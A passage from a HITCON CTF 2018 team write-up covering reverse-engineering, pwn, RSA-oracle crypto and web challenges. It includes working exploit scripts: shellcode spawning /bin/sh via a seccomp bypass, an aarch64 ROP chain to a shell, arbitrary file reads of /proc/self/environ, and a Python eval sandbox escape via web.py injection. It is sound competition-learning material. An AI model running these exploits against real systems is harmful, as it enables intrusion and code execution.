<span class="hljs-number">2000000110000000000130001100130000000130041000021000000001001000001300410000100010004100000000010041000000001200000011000000004100000110000000000000000000000000000001100001100000000120222222</span>
<span class="hljs-number">2222001300000000000011111000000000000000000000000000001300000100000000021000001100000000010001000000000001013000010000430021000041001000000001300001000120000000121000000100000000000100000000</span>
<span class="hljs-number">2000001110000001111110000001110000000410001000021000111111004300004100011111130000212000001110021001111111000041000010000011111130000011100413411041111110001111000000010000410001111111022222</span>
<span class="hljs-number">2022001300011000100000100000001000000130001041002100001300000100000000002100012000000000013001000001300000100000120010000010000010000000210041000041000100000000102130000000001000000110000000</span>
<span class="hljs-number">2000000110000001000000001100010000000010001000001000130000000100000100041000410000010000001000041004100000000000410100000000000010000001000011001104300013000001000000041000013000130001102222</span>
<span class="hljs-number">2222041000210001100001110000041111300111111011001300001110000111111300000011200000001111110041111113000004300000100004100111111110011111130011111111002111111002100002100111111001111100000000</span>
<span class="hljs-number">2000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002</span>
</code></pre><ol start="8">
<li>Reverse the even line, and replace some useless link and symbol.</li>
</ol>
<pre class="hljs"><code>_______##______________________________________________###____######___#________##__######___#######___#_____#__#######___########__######___#_____#___######___#____#___######___####
_______##________#_____#______________________________##_____##________##_______#________#___#_________##___#___##____#___##____#__##_______##_____#___#_______##__##___##___________#__________
______#_____________#####_____________________________##_____##________##______##________##__##__________#__#____#____##___#_____#___#________#_____#___#________####_____#___________##________
______#######___##____#_______####___#######_######__###_____#######_____#____##____#######__#___###______#_____#######___##____##__######___#_____#___##_______###______######______###______
______##___##___#_____#_______#______##___#_##___#____##_____#___________#___#___________##__#_____##_____#_____#___#_____#_____#________#__##____##___#________#__##_________#______##_______
_____##___##___##____##_______#_____##___##_##__##____#______#____________#_##___________##__##____#______#_____##___##___#_____#_______##___#_____#___#________#___##________#______##_______
_____##____#___##____###_____######__######_##__##____###____#######______##________######__########_____##_____#____##__########__#######__########___######___#_____#__######__#####________
______________________________________________________________________________________________________________________________________________________________________________________________
</code></pre><ol start="9">
<li>And the Flag is <code>hitcon{EV3GYROSUCKS}</code></li>
</ol>
<h3 id="baldis-re-basics"><a class="header-link" href="#baldis-re-basics"></a>Baldis-RE-Basics</h3>
<p>In this challenge, we have to do <strong>assemble, disassemble, and emulate</strong> for 8 kinds of architecture</p>
<p>Here is the list of packages I used to solve this challenge</p>
<table>
<thead>
<tr>
<th>architecture</th>
<th>assemble</th>
<th>disassemble</th>
<th>emulate</th>
</tr>
</thead>
<tbody>
<tr>
<td>i386</td>
<td>pwntools</td>
<td>capstone</td>
<td>unicorn</td>
</tr>
<tr>
<td>amd64</td>
<td>pwntools</td>
<td>capstone</td>
<td>unicorn</td>
</tr>
<tr>
<td>arm</td>
<td>pwntools</td>
<td>capstone</td>
<td>unicorn</td>
</tr>
<tr>
<td>aarch64</td>
<td>pwntools</td>
<td>capstone</td>
<td>unicorn</td>
</tr>
<tr>
<td>mips</td>
<td>keystone</td>
<td>capstone</td>
<td>unicorn</td>
</tr>
<tr>
<td>powerpc</td>
<td>pwntools</td>
<td>capstone</td>
<td>pwntools.run_shellcode ( qemu )</td>
</tr>
<tr>
<td>risc-v</td>
<td>pwntools-patch</td>
<td>pwntools-patch</td>
<td>pwntools-patch.run_shellcode ( <a href="https://github.com/riscv/riscv-isa-sim">spike</a> )</td>
</tr>
<tr>
<td>wasm</td>
<td>wabt/wat2wasm</td>
<td><a href="https://github.com/athre0z/wasm">wasm</a></td>
<td>wabt/wasm-interp</td>
</tr>
</tbody>
</table>
<p>There are 7 rooms at the beginning</p>
<p>Every room will contain a random architecture to solve</p>
<p>After solving 7 rooms, the hidden architecture <strong>wasm</strong> will come up = =</p>
<p class="img-container"><img src="https://i.imgur.com/QaXisdl.png" alt=""></p>
<h4 id="install"><a class="header-link" href="#install"></a>install</h4>
<p>First, we need to install lots of package</p>
<p>binutils for different architecture</p>
<pre class="hljs"><code><span class="hljs-symbol">apt</span>-<span class="hljs-meta">get</span> install <span class="hljs-keyword">binutils-powerpc-linux-gnu </span>\\
                <span class="hljs-keyword">binutils-aarch64-linux-gnu </span>\\
                <span class="hljs-keyword">binutils-mips-linux-gnu </span>\\
                <span class="hljs-keyword">binutils-arm-linux-gnueabi
</span></code></pre><p><a href="http://www.keystone-engine.org/">keystone</a> to assemble</p>
<p><a href="http://www.capstone-engine.org/">capstone</a> to disassemble</p>
<p><a href="https://www.unicorn-engine.org/">unicorn</a> to emulate</p>
<p>also the mighty <strong>pwntools</strong> which can do everything</p>
<p><a href="https://github.com/riscv/riscv-tools">riscv-tools</a> for risc-v architecture ( compile this need lots of time, remember to set multithread flag <code>-j8</code> )</p>
<p><a href="https://github.com/WebAssembly/wabt">wabt</a> for wasm architecture</p>
<h4 id="assemble"><a class="header-link" href="#assemble"></a>assemble</h4>
<p>For assemble, we need to <strong>assemble</strong> assembly code to machine code</p>
<p><strong>pwntools</strong> is enough for most architecture</p>
<p>However, pwntools <code>asm</code> for <strong>mips</strong> didn&#39;t get the right answer. Use keystone instead</p>
<h4 id="disassemble"><a class="header-link" href="#disassemble"></a>disassemble</h4>
<p>For disassemble, we need to <strong>disassemble</strong> machine code to assembly code</p>
<p>At first, I also use <strong>pwntools</strong> for disassemble, and use regex replace to fix the format</p>
<p>Then, one of my teammate realize that the server use <strong>capstone</strong> to do disassemble</p>
<h4 id="emulate"><a class="header-link" href="#emulate"></a>emulate</h4>
<p>For emulate, the server will give us a <strong>function</strong>, and we need to determine the right answer for the <strong>return value</strong> after the function is executed.</p>
<p><strong>unicorn</strong> is easy to use, because it can read a register out directly from script</p>
<p><strong>unicorn</strong> did not support powerpc, so we use <strong>pwntools</strong> <code>run_shellcode</code> function, which actually use qemu, to emulate shellcode for us</p>
<p><code>run_shellcode</code> only give us <strong>exit code</strong> ( 1 byte ), I leak the return value through <strong>exit code</strong> and shift 8 four times to get the whole 32 bits answer.</p>
<h4 id="risc-v"><a class="header-link" href="#risc-v"></a>risc-v</h4>
<p><strong>keystone</strong>, <strong>capstone</strong>, <strong>unicorn</strong> and <strong>pwntools</strong> all did not support risc-v, so I patch <strong>pwntools</strong> <code>pwnlib/context/__init__.py</code>, <code>pwnlib/asm.py</code>, and <code>pwnlib/tubes/process.py</code> and use <strong>pwntools</strong> to do <code>asm</code>, <code>disasm</code>, and <code>run_shellcode</code></p>
<p>Because <strong>pwntools</strong> actually use the binutils tools and qemu to do <code>asm</code> and <code>disasm</code> and <code>run_shellcode</code> for us</p>
<p><code>binutils-riscv64-linux-gnu</code> exists and also <code>spike</code> can replace qemu</p>
<p>All we need to do is add some constant in <strong>pwntools</strong> and it will works perfectly.</p>
<p>For emulate, I use the same trick to get the return value through <strong>exit code</strong></p>
<p>Notice that there is a infinite loop in the shellcode ( <del>maybe some kind of joke from the challenge maker ?</del> it&#39;s generated by the risc-v compiler for unknown reason ? )</p>
<p><code>f0: 0000006f j 0xf0</code></p>
<p>We need to strip the shellcode after this line to finish execution</p>
<h4 id="wasm"><a class="header-link" href="#wasm"></a>wasm</h4>
<p>And finally, after 7 architectures ( and get half of the flag ) is the final hidden architecture</p>
<p>We use <a href="https://github.com/WebAssembly/wabt">wabt</a> tools</p>
<p>For emulate, I wrap the disassembled shellcode inside a function and re-assemble it back to wasm and use <code>wasm-interp</code> to emulate</p>
<pre class="hljs"><code>(<span class="hljs-name">module</span>
  (<span class="hljs-name">export</span> <span class="hljs-string">"square"</span> (<span class="hljs-name">func</span> $square))
  (<span class="hljs-name">func</span> $square (<span class="hljs-name">param</span>) (<span class="hljs-name">result</span> i32)
    shellcode...
  )
)
</code></pre><p>flag : <code>hitcon{U_R_D4_MA5T3R_0F_R3_AND_PPC_!#3}</code>
source code : <a href="https://github.com/OAlienO/CTF/tree/master/2018/HITCON-CTF/Baldis-RE-Basics">https://github.com/OAlienO/CTF/tree/master/2018/HITCON-CTF/Baldis-RE-Basics</a></p>
<h3 id="32-world"><a class="header-link" href="#32-world"></a>32 world</h3>
<pre class="hljs"><code><span class="hljs-section"> line  CODE  JT   JF      K
=================================</span>
<span class="hljs-code"> 0000: 0x20 0x00 0x00 0x0000000c  A = instruction_pointer &gt;&gt; 32</span>
<span class="hljs-code"> 0001: 0x15 0x00 0x01 0x00000000  if (A != 0x0) goto 0003</span>
<span class="hljs-code"> 0002: 0x06 0x00 0x00 0x00000000  return KILL</span>
<span class="hljs-code"> 0003: 0x06 0x00 0x00 0x7fff0000  return ALLOW</span>
</code></pre><ul class="list">
<li>Use <code>sysenter</code> to bypass seccomp rules constraint.</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

<span class="hljs-comment"># hitcon{s3cc0mp_1s_n0t_4lw4y_s4f3_LOL}</span>

host , port = <span class="hljs-string">'54.65.133.244'</span> , <span class="hljs-number">8361</span>
y = remote( host , port )

p = asm(<span class="hljs-string">'''
    push 0x68732f
    push 0x6e69622f
    mov ebx, esp
    mov al, 0xb
    mov ebp, esp
    sysenter
'''</span>)

y.sendafter( <span class="hljs-string">':'</span> , p )
y.interactive()
</code></pre><h3 id="tooooo"><a class="header-link" href="#tooooo"></a>tooooo</h3>
<p>Just like the challenge <a href="https://ctftime.org/task/4841">HITCON-CTF-2017 two</a>, but this time in aarch64.</p>
<p>Every register is random value. We need to findout two gadget in libc in order to get shell.</p>
<p>First, I aimed for <code>/bin/sh</code>, and I found that only the gadget at 0x63E8c is acceptable. The others need to clean too much registers.</p>
<p>0x63E8c
<img src="https://i.imgur.com/wQGcal3.png" alt=""></p>
<p>Then, we just need to find another gadget to clean register x1. Then I found one gadget at 0xE61B0</p>
<p>0xE61B0
<img src="https://i.imgur.com/fJvJwbi.png" alt=""></p>
<p>With these two gadgets, we can get shell.</p>
<pre class="hljs"><code>from pwn import *
r=remote(<span class="hljs-string">"13.230.48.252"</span>, <span class="hljs-number">4869</span>)

stdout=<span class="hljs-number">0x154560</span>
r.recvuntil(<span class="hljs-string">"0x"</span>)
<span class="hljs-keyword">lib</span>=r.recvline()
<span class="hljs-keyword">lib</span>=int(<span class="hljs-keyword">lib</span>,<span class="hljs-number">16</span>)-stdout
<span class="hljs-built_in">log</span>.info(hex(<span class="hljs-keyword">lib</span>)) <span class="hljs-meta"># get libc address</span>

r.send(<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>+p64(<span class="hljs-keyword">lib</span>+<span class="hljs-number">0xE61B0</span>)+p64(<span class="hljs-keyword">lib</span>+<span class="hljs-number">0x63E8c</span>))

r.sendline(<span class="hljs-string">"cat /home/tooooo/flag"</span>)
r.interactive()
</code></pre><h2 id="crypto"><a class="header-link" href="#crypto"></a>Crypto</h2>
<h3 id="lost-modulus"><a class="header-link" href="#lost-modulus"></a>Lost Modulus</h3>
<p><a href="https://sasdf.cf/ctf-tasks-writeup/writeup/2018/hitcon/crypto/lostmod/">https://sasdf.cf/ctf-tasks-writeup/writeup/2018/hitcon/crypto/lostmod/</a></p>
<h3 id="lost-key"><a class="header-link" href="#lost-key"></a>Lost-Key</h3>
<p>This challenge is a RSA cryptosystem</p>
<p>We have encryption and decryption oracles as in <code>Lost-Modulus</code> challenge</p>
<p>But the decryption only give us the last byte</p>
<p>It&#39;s looks like a classic <code>LSB Oracle Attack</code>, but with unknown <code>n</code> and <code>e</code></p>
<h4 id="leak-n"><a class="header-link" href="#leak-n"></a>leak n</h4>
<p><code>n = gcd(enc(2) ** 2 - enc(2 ** 2), enc(3) ** 2 - enc(3 ** 2))</code></p>
<h4 id="leak-e"><a class="header-link" href="#leak-e"></a>leak e</h4>
<p>Actually we don&#39;t need to leak <code>e</code></p>
<p>leak <code>enc(256) = 256 ** e % n</code> will be enough</p>
<h4 id="least-significant-**byte**-oracle-attack"><a class="header-link" href="#least-significant-**byte**-oracle-attack"></a>Least Significant <strong>Byte</strong> Oracle Attack</h4>
<p>Let&#39;s recall Least Significant <strong>Bit</strong> Oracle Attack first</p>
<ol class="list">
<li><p>Send $c_1 = 2^ec_0$ and get $(2m \text{ mod } n ) \text{ mod } 2 = x$</p>
</li>
<li><p>Use $x$ to reduce the possible range $m$ might be in</p>
</li>
<li><p>repeat 1, 2 again by sending $c_2 = 2^ec_1$</p>
</li>
</ol>
<p>$m \in [0, \frac{n}{2}) \to 2m \in [0, n) \to 2m \text{ mod } n = 2m \to x = 0$</p>
<p>$m \in [\frac{n}{2}, n) \to 2m \in [n, 2n) \to 2m \text{ mod } n = 2m - n \to x = 1$</p>
<p>In each oracle, the above process reduce the possible range of $m$ by half, so the time complexity will be $log(n)$</p>
<p>In this challenge, $log(n) = 1024$ but we only have 150 chances</p>
<p>Let&#39;s introduce Least Significant <strong>Byte</strong> Oracle Attack</p>
<p>Generally, we replace the $2$ in the original LSB with $2^8 = 256$</p>
<ol class="list">
<li><p>Send $c_1 = 256^ec_0$ and get $(256m \text{ mod } n ) \text{ mod } 256 = x$</p>
</li>
<li><p>Use $x$ to reduce the possible range $m$ might be in</p>
</li>
<li><p>repeat 1, 2 again by sending $c_2 = 256^ec_1$</p>
</li>
</ol>
<p>$m \in [\frac{in}{256}, \frac{(i+1)n}{256})$</p>
<p>$256m \in [in, (i+1)n) $</p>
<p>$256m \text{ mod } n = 256m - in $</p>
<p>$x = -in \text{ mod } 256 $</p>
<p>$i = -x n^{-1} \text{ mod } 256$</p>
<p>Brute force every possible $n \text{ mod } 256 = 1, 3, \cdots, 255$ and find for <code>hitcon</code> string</p>
<p>Time complexity is $log_{256}(n) = \frac{log(n)}{8} = 128$</p>
<p>flag : <code>hitcon{1east_4ign1f1cant_BYTE_0racle_is_m0re_pow3rfu1!}</code>
source code : <a href="https://github.com/OAlienO/CTF/tree/master/2018/HITCON-CTF/Lost-Key">https://github.com/OAlienO/CTF/tree/master/2018/HITCON-CTF/Lost-Key</a></p>
<h2 id="web"><a class="header-link" href="#web"></a>Web</h2>
<h3 id="oh-my-raddit"><a class="header-link" href="#oh-my-raddit"></a>Oh My Raddit</h3>
<p>The page has lots of different link with hyperlink format of <code>http://13.115.255.46/?s=xxxx</code>. By observation, we have found that all the <code>xxxx</code> has largest common factor of 16. Besides, the download links has the same prefix with len 16 and the filter of 10 and 100 shares prefix. 16 bytes hex is actually 8 raw bytes. Concluding the observation above, we guess it&#39;s a DES cipher. However, in the real world it takes a day long for a ASIC DES chips to brute force the private key. Thanks to the hint <code>assert ENCRYPTION_KEY.islower()</code> and the fact that low bit doesn&#39;t matter in DES, the search space could be $(\frac{26}{2})^8$. By the script in <a href="http://mslc.ctf.su/wp/hack-lu-2012-ctf-challenge-17-400/">link</a> and the plaintext ciphertext pair <code>(bilities,aee2b8b4568118b5)</code>, we get a possible key. Due to the low bit (parity bit) trick, there are 128 keys. Submit all of them (manually), then we get the flag <code>hitcon{megnnaro}</code>.</p>
<p>Note 1:
The hint <code>assert ENCRYPTION_KEY.islower()</code> is confusing. If a string contains at least one lowercase character and no uppercase character, <code>islower()</code> returns True.</p>
<pre class="hljs"><code><span class="hljs-meta">&gt;&gt;&gt; </span><span class="hljs-string">'*b~71#_)'</span>.islower()
<span class="hljs-keyword">True</span>
</code></pre><p>Note 2:
orange (author) on IRC:
<code>sudo hashcat -a 3 -m 14000 &#39;3ca92540eb2d0a42:0808080808080808&#39; -1 DESALL.txt --hex-charset ?1?1?1?1?1?1?1?1 -n 4 --force --potfile-disable</code>
break in 1 sec XD
The DESALL.txt contains the hex of acegikmoqsuwyz</p>
<p>Note 3:
We accidently observed that PPP solved this problem <strong>while this challenge is still offline</strong> (the challenge is down but  Orange went to sleep XD). This probably implies that we can solve the problem totally in offline. That&#39;s why we quickly turn to brute force the DES key.</p>
<h3 id="oh-my-raddit-v2"><a class="header-link" href="#oh-my-raddit-v2"></a>Oh My Raddit v2</h3>
<p>We should get shell in order to retrieve the flag in Oh My raddit 2.</p>
<h4 id="arbitrary-file-read"><a class="header-link" href="#arbitrary-file-read"></a>Arbitrary File Read</h4>
<p>Since we have the DES key now, we can first decrypt the ciphertext of the download command:</p>
<pre class="hljs"><code>m=d&amp;f=uploads%<span class="hljs-number">2</span>F70c97cc1<span class="hljs-number">-079</span>f<span class="hljs-number">-4</span>d01<span class="hljs-number">-8798</span>-f36925ec1fd7.pdf
</code></pre><p>Let&#39;s try specifying the path now. Does it work? Yes, it works!</p>
<pre class="hljs"><code><span class="hljs-attr">m</span>=d&amp;f=app.py
</code></pre><p>Read the following files:</p>
<ul class="list">
<li>app.py: source code</li>
<li>db.db: but nothing interesting in the database</li>
<li>/proc/self/environ: the full path of app.py is /home/orange/w/app.py</li>
<li>/proc/self/cmdline: python app.py</li>
<li>/proc/self/maps: python 2.7</li>
<li>/flag: Internal Server Error, which means the file exists but cannot be read</li>
<li>requirements.txt: <code>pycrypto==2.6.1</code>, <code>web.py==0.38</code> (web.py is outdated)</li>
</ul>
<p>Here is the source code of <code>app.py</code>:</p>
<pre class="hljs"><code><span class="hljs-comment"># coding: UTF-8</span>
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> web
<span class="hljs-keyword">import</span> urllib
<span class="hljs-keyword">import</span> urlparse
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> DES

web.config.debug = <span class="hljs-keyword">False</span>
ENCRPYTION_KEY = <span class="hljs-string">'megnnaro'</span>


urls = (
    <span class="hljs-string">'/'</span>, <span class="hljs-string">'index'</span>
)
app = web.application(urls, globals())
db = web.database(dbn=<span class="hljs-string">'sqlite'</span>, db=<span class="hljs-string">'db.db'</span>)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt</span><span class="hljs-params">(s)</span>:</span>
    length = DES.block_size - (len(s) % DES.block_size)
    s = s + chr(length)*length

    cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
    <span class="hljs-keyword">return</span> cipher.encrypt(s).encode(<span class="hljs-string">'hex'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span><span class="hljs-params">(s)</span>:</span>
    <span class="hljs-keyword">try</span>:
        data = s.decode(<span class="hljs-string">'hex'</span>)
        cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)

        data = cipher.decrypt(data)
        data = data[:-ord(data[<span class="hljs-number">-1</span>])]
        <span class="hljs-keyword">return</span> dict(urlparse.parse_qsl(data))
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        <span class="hljs-keyword">print</span> e.message
        <span class="hljs-keyword">return</span> {}

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_posts</span><span class="hljs-params">(limit=None)</span>:</span>
    records = []
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> db.select(<span class="hljs-string">'posts'</span>, limit=limit, order=<span class="hljs-string">'ups desc'</span>):
        tmp = {
            <span class="hljs-string">'m'</span>: <span class="hljs-string">'r'</span>, 
            <span class="hljs-string">'t'</span>: i.title.encode(<span class="hljs-string">'utf-8'</span>, <span class="hljs-string">'ignore'</span>), 
            <span class="hljs-string">'u'</span>: i.id, 
        } 
        tmp[<span class="hljs-string">'param'</span>] = encrypt(urllib.urlencode(tmp))
        tmp[<span class="hljs-string">'ups'</span>] = i.ups
        <span class="hljs-keyword">if</span> i.file:
            tmp[<span class="hljs-string">'file'</span>] = encrypt(urllib.urlencode({<span class="hljs-string">'m'</span>: <span class="hljs-string">'d'</span>, <span class="hljs-string">'f'</span>: i.file}))
        <span class="hljs-keyword">else</span>:
            tmp[<span class="hljs-string">'file'</span>] = <span class="hljs-string">''</span>

        records.append( tmp )
    <span class="hljs-keyword">return</span> records

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_urls</span><span class="hljs-params">()</span>:</span>
    urls = []
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> [<span class="hljs-number">10</span>, <span class="hljs-number">100</span>, <span class="hljs-number">1000</span>]:
        data = {
            <span class="hljs-string">'m'</span>: <span class="hljs-string">'p'</span>, 
            <span class="hljs-string">'l'</span>: i
        }
        urls.append( encrypt(urllib.urlencode(data)) )
    <span class="hljs-keyword">return</span> urls

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">index</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GET</span><span class="hljs-params">(self)</span>:</span>
        s = web.input().get(<span class="hljs-string">'s'</span>)
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> s:
            <span class="hljs-keyword">return</span> web.template.frender(<span class="hljs-string">'templates/index.html'</span>)(get_posts(), get_urls())
        <span class="hljs-keyword">else</span>:
            s = decrypt(s)
            method = s.get(<span class="hljs-string">'m'</span>, <span class="hljs-string">''</span>)
            <span class="hljs-keyword">if</span> method <span class="hljs-keyword">and</span> method <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> list(<span class="hljs-string">'rdp'</span>):
                <span class="hljs-keyword">return</span> <span class="hljs-string">'param error'</span>
            <span class="hljs-keyword">if</span> method == <span class="hljs-string">'r'</span>:
                uid = s.get(<span class="hljs-string">'u'</span>)
                record = db.select(<span class="hljs-string">'posts'</span>, where=<span class="hljs-string">'id=$id'</span>, vars={<span class="hljs-string">'id'</span>: uid}).first()
                <span class="hljs-keyword">if</span> record:
                    <span class="hljs-keyword">raise</span> web.seeother(record.url)
                <span class="hljs-keyword">else</span>:
                    <span class="hljs-keyword">return</span> <span class="hljs-string">'not found'</span>
            <span class="hljs-keyword">elif</span> method == <span class="hljs-string">'d'</span>:
                file = s.get(<span class="hljs-string">'f'</span>)
                <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> os.path.exists(file):
                    <span class="hljs-keyword">return</span> <span class="hljs-string">'not found'</span>
                name = os.path.basename(file)
                web.header(<span class="hljs-string">'Content-Disposition'</span>, <span class="hljs-string">'attachment; filename=%s'</span> % name)
                web.header(<span class="hljs-string">'Content-Type'</span>, <span class="hljs-string">'application/pdf'</span>)
                <span class="hljs-keyword">with</span> open(file, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> fp:
                    data = fp.read()
                <span class="hljs-keyword">return</span> data
            <span class="hljs-keyword">elif</span> method == <span class="hljs-string">'p'</span>:
                limit = s.get(<span class="hljs-string">'l'</span>)
                <span class="hljs-keyword">return</span> web.template.frender(<span class="hljs-string">'templates/index.html'</span>)(get_posts(limit), get_urls())
            <span class="hljs-keyword">else</span>:
                <span class="hljs-keyword">return</span> web.template.frender(<span class="hljs-string">'templates/index.html'</span>)(get_posts(), get_urls())


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    app.run()
</code></pre><h4 id="browsing-source-code-/-issues"><a class="header-link" href="#browsing-source-code-/-issues"></a>Browsing source code / issues</h4>
<p>First I found <a href="https://github.com/webpy/webpy/commit/becbfb92d7601ddb0aededfdc9a91696bde2430f#diff-bab5d2282d3362e44ff9cea603fb052f">this issue</a>, and it&#39;s reported by Orange Tsai, who is the author of the challenge. Gotcha!</p>
<p>This issue is fixed in webpy 0.39, but the server side still use 0.38! Thus it&#39;s vulnerable to SQLite injection through <code>limit</code> parameter.</p>
<p>@kaibro found <a href="https://github.com/webpy/webpy/commit/8fa67f40f212fbfe51aa5493fc377c683eff9925">another issue</a>. They try to fix <code>eval</code> code execution by passing a empty builtin to it.</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">reparam</span><span class="hljs-params">(string_, dictionary)</span>:</span> 
    <span class="hljs-string">"""
    Takes a string and a dictionary and interpolates the string
    using values from the dictionary. Returns an `SQLQuery` for the result.
        &gt;&gt;&gt; reparam("s = $s", dict(s=True))
        &lt;sql: "s = 't'"&gt;
        &gt;&gt;&gt; reparam("s IN $s", dict(s=[1, 2]))
        &lt;sql: 's IN (1, 2)'&gt;
    """</span>
    dictionary = dictionary.copy() <span class="hljs-comment"># eval mucks with it</span>
    <span class="hljs-comment"># disable builtins to avoid risk for remote code exection.</span>
    dictionary[<span class="hljs-string">'__builtins__'</span>] = object()
    vals = []
    result = []
    <span class="hljs-keyword">for</span> live, chunk <span class="hljs-keyword">in</span> _interpolate(string_):
        <span class="hljs-keyword">if</span> live:
            v = eval(chunk, dictionary)
            result.append(sqlquote(v))
        <span class="hljs-keyword">else</span>: 
            result.append(chunk)
    <span class="hljs-keyword">return</span> SQLQuery.join(result, <span class="hljs-string">''</span>)
</code></pre><p>When <code>eval</code> takes the second parameter with builtin in it, the current builtin will be replaced. In the source code the builtins is set to an empty object. In other words, passing builtin is similarly to replace the current namespace.</p>
<pre class="hljs"><code><span class="hljs-meta">&gt;&gt;&gt; </span>eval(<span class="hljs-string">'__builtins__'</span>,{<span class="hljs-string">'__builtins__'</span>: object})
&lt;type <span class="hljs-string">'object'</span>&gt;
<span class="hljs-meta">&gt;&gt;&gt; </span>dir(eval(<span class="hljs-string">'__builtins__'</span>,{<span class="hljs-string">'__builtins__'</span>: object}))
[<span class="hljs-string">'__class__'</span>, <span class="hljs-string">'__delattr__'</span>, <span class="hljs-string">'__doc__'</span>, <span class="hljs-string">'__format__'</span>, <span class="hljs-string">'__getattribute__'</span>, <span class="hljs-string">'__hash__'</span>, <span class="hljs-string">'__init__'</span>, <span class="hljs-string">'__new__'</span>, <span class="hljs-string">'__reduce__'</span>, <span class="hljs-string">'__reduce_ex__'</span>, <span class="hljs-string">'__repr__'</span>, <span class="hljs-string">'__setattr__'</span>, <span class="hljs-string">'__sizeof__'</span>, <span class="hljs-string">'__str__'</span>, <span class="hljs-string">'__subclasshook__'</span>]
<span class="hljs-meta">&gt;&gt;&gt; </span>eval(<span class="hljs-string">'__builtins__'</span>)
&lt;module <span class="hljs-string">'__builtin__'</span> (built-<span class="hljs-keyword">in</span>)&gt;
<span class="hljs-meta">&gt;&gt;&gt; </span>dir(eval(<span class="hljs-string">'__builtins__'</span>))
[<span class="hljs-string">'ArithmeticError'</span>, ... ,<span class="hljs-string">'xrange'</span>, <span class="hljs-string">'zip'</span>]
</code></pre><p>However, replacing the namespace doesn&#39;t prevent us to retrieve other exploitable classes. We just cannot directly use eval, <code>__import__</code> .... </p>
<p>First, list all the classes through <code>[].__class__.__base__.__subclasses__()</code>:</p>
<p><code>db.select(&#39;posts&#39;, limit=&quot;slowpoke ${[].__class__.__base__.__subclasses__()}&quot;, order=&#39;ups desc&#39;)</code></p>
<pre class="hljs"><code>[&lt;type <span class="hljs-string">'type'</span>&gt;, &lt;type <span class="hljs-string">'weakref'</span>&gt;, &lt;type <span class="hljs-string">'weakcallableproxy'</span>&gt;, &lt;type <span class="hljs-string">'weakproxy'</span>&gt;, &lt;type <span class="hljs-string">'int'</span>&gt;, &lt;type <span class="hljs-string">'basestring'</span>&gt;, &lt;type <span class="hljs-string">'bytearray'</span>&gt;, &lt;type <span class="hljs-string">'list'</span>&gt;, &lt;type <span class="hljs-string">'NoneType'</span>&gt;, &lt;type <span class="hljs-string">'NotImplementedType'</span>&gt;, &lt;type <span class="hljs-string">'traceback'</span>&gt;, &lt;type <span class="hljs-string">'super'</span>&gt;, &lt;type <span class="hljs-string">'xrange'</span>&gt;, &lt;type <span class="hljs-string">'dict'</span>&gt;, &lt;type <span class="hljs-string">'set'</span>&gt;, &lt;type <span class="hljs-string">'slice'</span>&gt;, &lt;type <span class="hljs-string">'staticmethod'</span>&gt;, &lt;type <span class="hljs-string">'complex'</span>&gt;, &lt;type <span class="hljs-string">'float'</span>&gt;, &lt;type <span class="hljs-string">'buffer'</span>&gt;, &lt;type <span class="hljs-string">'long'</span>&gt;, &lt;type <span class="hljs-string">'frozenset'</span>&gt;, &lt;type <span class="hljs-string">'property'</span>&gt;, &lt;type <span class="hljs-string">'memoryview'</span>&gt;, &lt;type <span class="hljs-string">'tuple'</span>&gt;, &lt;type <span class="hljs-string">'enumerate'</span>&gt;, &lt;type <span class="hljs-string">'reversed'</span>&gt;, &lt;type <span class="hljs-string">'code'</span>&gt;, &lt;type <span class="hljs-string">'frame'</span>&gt;, &lt;type <span class="hljs-string">'builtin_function_or_method'</span>&gt;, &lt;type <span class="hljs-string">'instancemethod'</span>&gt;, &lt;type <span class="hljs-string">'function'</span>&gt;, &lt;type <span class="hljs-string">'classobj'</span>&gt;, &lt;type <span class="hljs-string">'dictproxy'</span>&gt;, &lt;type <span class="hljs-string">'generator'</span>&gt;, &lt;type <span class="hljs-string">'getset_descriptor'</span>&gt;, &lt;type <span class="hljs-string">'wrapper_descriptor'</span>&gt;, &lt;type <span class="hljs-string">'instance'</span>&gt;, &lt;type <span class="hljs-string">'ellipsis'</span>&gt;, &lt;type <span class="hljs-string">'member_descriptor'</span>&gt;, &lt;type <span class="hljs-string">'file'</span>&gt;, &lt;type <span class="hljs-string">'PyCapsule'</span>&gt;, &lt;type <span class="hljs-string">'cell'</span>&gt;, &lt;type <span class="hljs-string">'callable-iterator'</span>&gt;, &lt;type <span class="hljs-string">'iterator'</span>&gt;, &lt;type <span class="hljs-string">'sys.long_info'</span>&gt;, &lt;type <span class="hljs-string">'sys.float_info'</span>&gt;, &lt;type <span class="hljs-string">'EncodingMap'</span>&gt;, &lt;type <span class="hljs-string">'fieldnameiterator'</span>&gt;, &lt;type <span class="hljs-string">'formatteriterator'</span>&gt;, &lt;type <span class="hljs-string">'sys.version_info'</span>&gt;, &lt;type <span class="hljs-string">'sys.flags'</span>&gt;, &lt;type <span class="hljs-string">'exceptions.BaseException'</span>&gt;, &lt;type <span class="hljs-string">'module'</span>&gt;, &lt;type <span class="hljs-string">'imp.NullImporter'</span>&gt;, &lt;type <span 